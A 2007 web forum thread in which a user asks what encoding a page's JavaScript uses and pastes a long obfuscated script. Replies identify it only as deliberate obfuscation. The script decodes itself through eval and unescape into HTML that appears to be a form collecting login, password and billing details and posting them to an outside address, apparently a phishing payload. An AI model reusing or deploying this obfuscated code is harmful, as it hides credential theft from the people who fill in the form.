JS - Weird encoding

Good Morning,

I've a webpage where the Java Script is encoded in a system unknown to me.

However there are several repetions of the following sequence:

a_x8%XFenDI

Does anyone knows what type of encoding is this?

This matter is urgent.

Kind regards,

Kepler777
[327 byte] By [kepler777] at [2007-11-19 21:11:21]
# 1 Re: JS - Weird encoding
a_x8%XFenDIDoesn't ring a bell. Some javascript contains 'inline' regular expression, and they tend to make it look like a mess. What if you show a complete script?

- petter
wildfrog at 2007-11-8 0:22:45 >
# 2 Re: JS - Weird encoding
a_x8%XFenDI means nothing. It is probably just an output of misreading the proper encoding.

What encoding is the file in?
PeejAvery at 2007-11-8 0:23:45 >
# 3 Re: JS - Weird encoding
Sorry for the late reply guys.

Here's a clip of the encoded file:

<SCRIPT language=JavaScript type=text/javascript><!--
var o=82,d="",k="r3Qw-&d?cjvXEU9Mp7JYV2!R)Ox(mB5bH1=I_:kleDSK|C>/04s;hif.<TaFunLgWGoqy#P %N8A*Zt\"z6",n="";eval(unescape("%66%75%6E%63%74%69%6F%6E%20%7A%7A%7A%28%29%7B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6E%29%3B%64%3D%22%22%7D%3B%66%75%6E%63%74%69%6F%6E%20%69%28%68%29%7B%76%61%72%20%61%3D%27%27%2C%6D%2C%6C%2C%66%2C%62%3B%66%6F%72%28%6D%3D%30%3B%6D%3C%68%2E%6C%65%6E%67%74%68%3B%6D%2B%2B%29%7B%6C%3D%68%2E%63%68%61%72%41%74%28%6D%29%3B%66%3D%6B%2E%69%6E%64%65%78%4F%66%28%6C%29%3B%69%66%28%66%3E%2D%31%29%7B%62%3D%28%28%66%2B%31%29%25%6F%2D%31%29%3B%69%66%28%62%3C%3D%30%29%7B%62%2B%3D%6F%7D%61%2B%3D%6B%2E%63%68%61%72%41%74%28%62%2D%31%29%7D%65%6C%73%65%7B%61%2B%3D%6C%7D%7D%6E%2B%3D%61%7D"));i("T;j3f7\"%eFLWnFWDIzYFXFKj3f7\"z%\"#7DIz\"D(\"0vFXF;j3f7\"z/TR&&\n.nLj\"fqL%L3mDO{3D\"n3LmD<-ifjiIIQOc.Fe;Dk\"3nD}.nLj\"fqL%jnmO{3D\"n3L%.Fe;D}.nLj\"fqL%jXmO{X7IDXDL\"<Hn\"\"qLhf.mX7II!CCX7IIQOFeD3\"mnLD;jF7DmzaiFLl;%.q3%#qn3%3fWi\"%jefjl<zOO}fqI?qjnBDL\"<FeehFDI?qjnBDL\"<WD\"UeDBDL\"5#_?hf.mfqO{f.mFDO{?qjnBDL\"<qLjqL\"D(\"BDLnIjn}De;D{?qjnBDL\"<qLBqn;D?q-LIjX}}f.mFDddRfqO{?qjnBDL\"<qLBqn;Dn7IL3h?qjnBDL\"<qLjqL\"D(\"BDLnIjn}f.m?qjnBDL\"<eF#D3;O{?qjnBDL\"<jF7\"n3DUXDL\";mUXDL\"<px9KUSxG8Oh?qjnBDL\"");i("<qLBqn;D?q-LIL3}.nLj\"fqL%yF4mO{-fL?q-<;\"F\"n;Iz%zh;D\"afBDqn\"mzyF4mOz,b4O}yF4mOh.nLj\"fqL%yF=mO{3D\"n3L%\"3nD}f.m?qjnBDL\"<FeeCC?qjnBDL\"<WD\"UeDBDL\"5#_?O?qjnBDL\"<Hq?#<qLBqn;DqXD3IyF=00&&/T0;j3f7\"/%TjDL\"D3/T /T5/Tux8a%jqeq3IP.....%;f6DIr/YqfL%7FWDT0ux8a/T05/%T0 /T0jDL\"D3/%TjDL\"D3/T /T5/Tux8a%;f6DIs/_p x)a*8aRT0ux8a/T05/%T5)/K7Djf.#%#qn3%)U*g%D&BFfe%F??3D;;%\"q%3DjDfXD%#qn3%eqWfL%fL.q3BF\"fqL%R%TH3/Vqn3%fLynf3#%-fee%HD%73qjD;;D?%FL?%#qn%-fee%3DjDfXD%fL.q3BF\"fqL%\"q%#qn3%D&BFfe<TH3/_.%#");i("qn%n;D%FLqL#Bqn;%73q(#%;D3XD3%#qn3%\"3FL;Fj\"fqL%BF#%HD%?DjefLD?%F;%F%.3Fn?<"+"%T0 /Ta*5gU%FefWLIjDL\"D3%jDee F??fLWI=%jDeeK7FjfLWI4%-f?\"iI!sA/%Ta5xSV/Ta)/TaS%FefWLIeD.\"%X*efWLI\"q7%-f?\"iIQs4/%Tux)p%Fj\"fqLIzi\"\"7k0073fLWeD;;<jqB0.q3B:B#0.D33q<7i7z%BD\"iq?I7q;\"/%TS_2%FefWLIjDL\"D3/%Ta*5gU%Hq3?D3I4%-f?\"iI!Q4/%Ta5xSV/Ta)%FefWLIeD.\"%X*efWLI\"q7/TaS%iDfWi\"I!J%X*efWLIjDL\"D3%-f?\"iI!!s/%T %FefWLIeD.\"/Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/ZgqWfLkT05/T0ux8a/T");i("5)/T_8 9a%LFBDIeqWfL%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0aS/T0a)/Ta)%FefWLIeD.\"%X*efWLI\"q7/TaS%iDfWi\"I!J%X*efWLIjDL\"D3/%T /Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/Z F;;-q3?kT05/T0ux8a/T5)/T_8 9a%LFBDI7F;;-q3?%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0aS/T0a)/T0a5xSV/T0a*5gU/%Ta*5gU%Hq3?D3I4%-f?\"iI!Q4/%Ta5xSV/Ta)%FefWL");i("IeD.\"%X*efWLI\"q7/TaS%iDfWi\"I!J%X*efWLIjDL\"D3%-f?\"iI!!s/%T %FefWLIeD.\"/Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/Zuf3;\"%8FBDkT05/T0ux8a/T5)/T_8 9a%LFBDI.f3;\"LFBD%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0aS/T0a)/Ta)%FefWLIeD.\"%X*efWLI\"q7/TaS%iDfWi\"I!J%X*efWLIjDL\"D3/%T /Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/ZgF;\"%8FBDkT05/T0ux8a/T5)/T_8 9a%LFBDIeF;");i("\"LFBD%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0aS/T0a)/T0a5xSV/T0a*5gU/%Ta*5gU%Hq3?D3I4%-f?\"iI!Qr/%Ta5xSV/Ta)/TaS%-f?\"iI!Q4/%T /Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/Z5feefLW%*??3D;;kT05/T0ux8a/%T5)/T_8 9a%LFBDIF??3D;;%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0aS/T0a)/Ta)/TaS/Tux8a%;f6DI=/T5/Tux8a%jqeq3IP.....%.FjDIz2D3?F");i("LF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z/Z>f\"#k%T0ux8a/T05/T0ux8a/T5)/T_8 9a%LFBDIjf\"#%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/T0aS/T0a)/Ta)/TaS/Tux8a%;f6DI=/T5/Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z/ZK\"F\"D0 3qXfLjDkT0ux8a/T05/T0ux8a/T5)/TKUgU>a%LFBDI;\"F\"D%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(h%G_Sa1k%!QDBz/%Tx a_x8%XFenDI&&/KDeDj\"%F%K\"F\"DT0x a_x8/%Tx");i(" a_x8%;DeDj\"D?%XFenDIx\"iD3/xn\";f?D%9K0>FLF?FT0x a_x8/%Tx a_x8%XFenDI*g/*eFHFBFT0x a_x8/%Tx a_x8%XFenDI*|/*eF;lFT0x a_x8/%Tx a_x8%XFenDI*5/*eHD3\"FT0x a_x8/%Tx a_x8%XFenDI*K/*BD3fjFL%KFBqFT0x a_x8/%Tx a_x8%XFenDI*t/*3f6qLFT0x a_x8/%Tx a_x8%XFenDI*)/*3lFL;F;T0x a_x8/%Tx a_x8%XFenDI**/*3BD?%uq3jD;%&%*BD3fjF;T0x a_x8/%Tx a_x8%XFenDI*U/*3BD?%uq3jD;%&%Un3q7DT0x a_x8/%Tx a_x8%XFenDI* /*3BD?%uq3jD;%&% Fjf.fjT0x a_x8/%Tx a_x8%XFenDI5>/53f\"f;i%"+">qenBHfFT0x a_x8/%Tx a_x8%XFenDI>*/>Fef.q3LfFT0x a_x8/%Tx ");i("a_x8%XFenDI>x/>qeq3F?qT0x a_x8/%Tx a_x8%XFenDI>a/>qLLDj\"fjn\"T0x a_x8/%Tx a_x8%XFenDISU/SDeF-F3DT0x a_x8/%Tx a_x8%XFenDIS>/Sf;\"3fj\"%q.%"+">qenBHfFT0x a_x8/%Tx a_x8%XFenDIup/uD?D3F\"D?%K\"F\"D;%q.%pfj3qLD;fFT0x a_x8/%Tx a_x8%XFenDIug/ueq3f?FT0x a_x8/%Tx a_x8%XFenDIo*/oDq3WfFT0x a_x8/%Tx a_x8%XFenDIo9/onFBT0x a_x8/%Tx a_x8%XFenDI1_/1F-FffT0x a_x8/%Tx a_x8%XFenDI_S/_?FiqT0x a_x8/%Tx a_x8%XFenDI_g/_eefLqf;T0x a_x8/%Tx a_x8%XFenDI_8/_L?fFLFT0x a_x8/%Tx a_x8%XFenDI_*/_q-FT0x a_x8/%Tx a_x8%XFenDI|K/|FL");i(";F;T0x a_x8/%Tx a_x8%XFenDI|V/|DL\"njl#T0x a_x8/%Tx a_x8%XFenDIg*/gqnf;fFLFT0x a_x8/%Tx a_x8%XFenDIpU/pFfLDT0x a_x8/%Tx a_x8%XFenDIp5/pFLf\"qHFT0x a_x8/%Tx a_x8%XFenDIp1/pF3;iFee%_;eFL?;T0x a_x8/%Tx a_x8%XFenDIpS/pF3#eFL?T0x a_x8/%Tx a_x8%XFenDIp*/pF;;Fjin;D\"\";T0x a_x8/%Tx a_x8%XFenDIp_/pfjifWFLT0x a_x8/%Tx a_x8%XFenDIp8/pfLLD;q\"FT0x a_x8/%Tx a_x8%XFenDIpK/pf;;f;;f77fT0x a_x8/%Tx a_x8%XFenDIpx/pf;;qn3fT0x a_x8/%Tx a_x8%XFenDIpa/pqL\"FLFT0x a_x8/%Tx a_x8%XFenDI8U/8DH3F;lFT0x a_x8/%Tx a_x8%XFen");i("DI82/8DXF?FT0x a_x8/%Tx a_x8%XFenDI85/8D-%53nL;-fjlT0x a_x8/%Tx a_x8%XFenDI81/8D-%1FB7;if3DT0x a_x8/%Tx a_x8%XFenDI8Y/8D-%YD3;D#T0x a_x8/%Tx a_x8%XFenDI8p/8D-%pD(fjqT0x a_x8/%Tx a_x8%XFenDI8V/8D-%Vq3lT0x a_x8/%Tx a_x8%XFenDI8u/8D-.qnL?eFL?T0x a_x8/%Tx a_x8%XFenDI8>/8q3\"i%"+">F3qefLFT0x a_x8/%Tx a_x8%XFenDI8S/8q3\"i%SFlq\"FT0x a_x8/%Tx a_x8%XFenDIp /8q3\"iD3L%pF3fFLF%_;eFL?;T0x a_x8/%Tx a_x8%XFenDI8a/8q3\"i-D;\"%aD33f\"q3fD;T0x a_x8/%Tx a_x8%XFenDI8K/8qXF%Kjq\"fFT0x a_x8/%Tx a_x8%XFenDIx1/xifqT0x a");i("_x8/%Tx a_x8%XFenDIx|/xleFiqBFT0x a_x8/%Tx a_x8%XFenDIx8/xL\"F3fqT0x a_x8/%Tx a_x8%XFenDIx)/x3DWqLT0x a_x8/%Tx a_x8%XFenDI G/ FeFnT0x a_x8/%Tx a_x8%XFenDI */ DLL;#eXFLfFT0x a_x8/%Tx a_x8%XFenDI U/ 3fLjD%U?-F3?%_;eFL?T0x a_x8/%Tx a_x8%XFenDI )/ nD3\"q%)fjqT0x a_x8/%Tx a_x8%XFenDIw>/wnDHDjT0x a_x8/%Tx a_x8%XFenDI)_/)iq?D%_;eFL?T0x a_x8/%Tx a_x8%XFenDIK|/KF;lF\"jiD-FLT0x a_x8/%Tx a_x8%XFenDIK>/Kqn\"i%"+">F3qefLFT0x a_x8/%Tx a_x8%XFenDIKS/Kqn\"i%SFlq\"FT0x a_x8/%Tx a_x8%XFenDIa8/aDLLD;;DDT0x a_x8/%Tx a");i("_x8%XFenDIaE/aD(F;T0x a_x8/%Tx a_x8%XFenDI9a/9\"FiT0x a_x8/%Tx a_x8%XFenDI2a/2D3BqL\"T0x a_x8/%Tx a_x8%XFenDI2_/2f3WfL%_;eFL?;%q.%\"iD%9<K<*<T0x a_x8/%Tx a_x8%XFenDI2*/2f3WfLfFT0x a_x8/%Tx a_x8%XFenDIG*/GF;ifLW\"qLT0x a_x8/%Tx a_x8%XFenDIG2/GD;\"%2f3WfLfFT0x a_x8/%Tx a_x8%XFenDIG_/Gf;jqL;fLT0x a_x8/%Tx a_x8%XFenDIGV/G#qBfLWT0x a_x8/%Tx a_x8%XFenDIVa/VnlqLT0x a_x8/T0KUgU>a/%T0aS/T0a)/T0a5xSV/T0a*5gU/%Ta*5gU%Hq3?D3I4%-f?\"iI!s4/%Ta5xSV/Ta)%FefWLIeD.\"%X*efWLI\"q7/TaS%iDfWi\"IJ/%TS_2%FefWLIjDL\"D3/");i("%T %FefWLIeD.\"/Tux8a%;f6DI=/T5/Tux8a%jqeq3IP.....%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z/Z5feefLW%tf7kT0ux8a/T05/T0ux8a/T5)/T_8 9a%LFBDI6f7%;f6DIss%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(z/%T0 /T0S_2/T0aS/T0a)/Ta)%FefWLIBf??eD/TaS/%TS_2%FefWLIeD.\"/Tux8a%.FjDIz2D3?FLF,%*3fFe,%1DeXD\"fjF,%;FL;&;D3f.z%;f6DI=/T5/Tux8a%jqeq3IP...../Z>qnL\"3#k%T0ux8a/T5)/T05/T0ux8a/TKUgU>a%LFBDIjqnL\"3#%;\"#eDIz5x)SU)&gUua&G_Sa1k%=7(h%5x)SU)&ax &G_Sa1k%=7");i("(h%ux8a&u*p_gVk%XD3?FLFh%ux8a&K_tUk%=47(h%G_Sa1k%!QDBz/%Tx a_x8%XFenDIzz/>iqq;D%F%"+">qnL\"3#Tx a_x8%;DeDj\"D?%XFenDI9K/9Lf\"D?%K\"F\"D;%q.%*BD3fjFTx a_x8%XFenDI>*/>FLF?FTx a_x8%XFenDISU/oD3BFL#Tx a_x8%XFenDIu)/u3FLjDTx a_x8%XFenDIo5/9Lf\"D?%|fLW?qBTx a_x8%XFenDI_8/_L?fFTx a_x8%XFenDIzz/&&&&&&&&&&&&&&&&&&&&&Tx a_x8%XFenDI*u/*.WiFLf;\"FLTx a_x8%XFenDI*g/*eHFLfFTx a_x8%XFenDISt/*eWD3fFTx a_x8%XFenDI*K/*BD3fjFL%KFBqFTx a_x8%XFenDI*8/*L?q33FTx a_x8%XFenDI*o/*LWqeFTx a_x8%XFenDI*_/*LWnfeeFTx a_x8%XFenDI");i("*a/*L\"F3j\"fjFTx a_x8%XFenDI*a/*L\"fWnF%FL?%5F3Hn?FTx a_x8%XFenDI*)/*3WDL\"fLFTx a_x8%XFenDI*)/*3BDLfFTx a_x8%XFenDI*5/*3nHFTx a_x8%XFenDI*9/*n;\"3FefFTx a_x8%XFenDI*9/*n;\"3fFTx a_x8%XFenDI*t/*6D3HFfvFLTx a_x8%XFenDI51/5FiFBF;Tx a_x8%XFenDI51/5Fi3FfLTx a_x8%XFenDI5o/5FLWeF?D;iTx a_x8%XFenDI5)/5F3HF?q;Tx a_x8%XFenDI5g/5DeF3n;Tx a_x8%XFenDI5U/5DeWfnBTx a_x8%XFenDI5g/5Def6DTx a_x8%XFenDI5U/5DLfLTx a_x8%XFenDI5p/5D3Bn?FTx a_x8%XFenDI5a/5in\"FLTx a_x8%XFenDI5x/5qefXfFTx a_x8%XFenDI5_/5q;LfF%FL?%1D3");i("6DWq-fLFTx a_x8%XFenDI5G/5q\";-FLFTx a_x8%XFenDI52/5qnXD\"%_;eFL?Tx a_x8%XFenDI5)/53F6feTx a_x8%XFenDI_x/53f\"f;i%_L?fFL%xjDFL%aD33f\"q3#Tx a_x8%XFenDI5)/53nLDf%SF3n;;FeFBTx a_x8%XFenDI5o/5neWF3fFTx a_x8%XFenDI5u/5n3lfLF%uF;qTx a_x8%XFenDI5S/5n3nL?fTx a_x8%XFenDI|1/>FBHq?fFTx a_x8%XFenDI>p/>FBD3qqLTx a_x8%XFenDI> />F7D%2D3?DTx a_x8%XFenDI>V/>F#BFL%_;eFL?;Tx a_x8%XFenDI>*/>DL\"3Fe%*.3fjFL%)D7nHefjTx a_x8%XFenDIa>/>iF?Tx a_x8%XFenDI>1/>ifeDTx a_x8%XFenDI>1/>ifLFTx a_x8%XFenDI>E/>i3f;\"BF;%_;eFL?Tx");i(" a_x8%XFenDI>>/>qjqF%m|DDefLWO%_;eFL?;Tx a_x8%XFenDI>x/>qeqBHfFTx a_x8%XFenDI>x%<LD\"q3q;/Tx

The unescape is easy. As for the rest... :(
Regards,

Kepler777
kepler777 at 2007-11-8 0:24:55 >
# 4 Re: JS - Weird encoding
It's obfuscated code; meaning that the author of the code has made an attept to hide how this code actually works.

- petter
wildfrog at 2007-11-8 0:25:56 >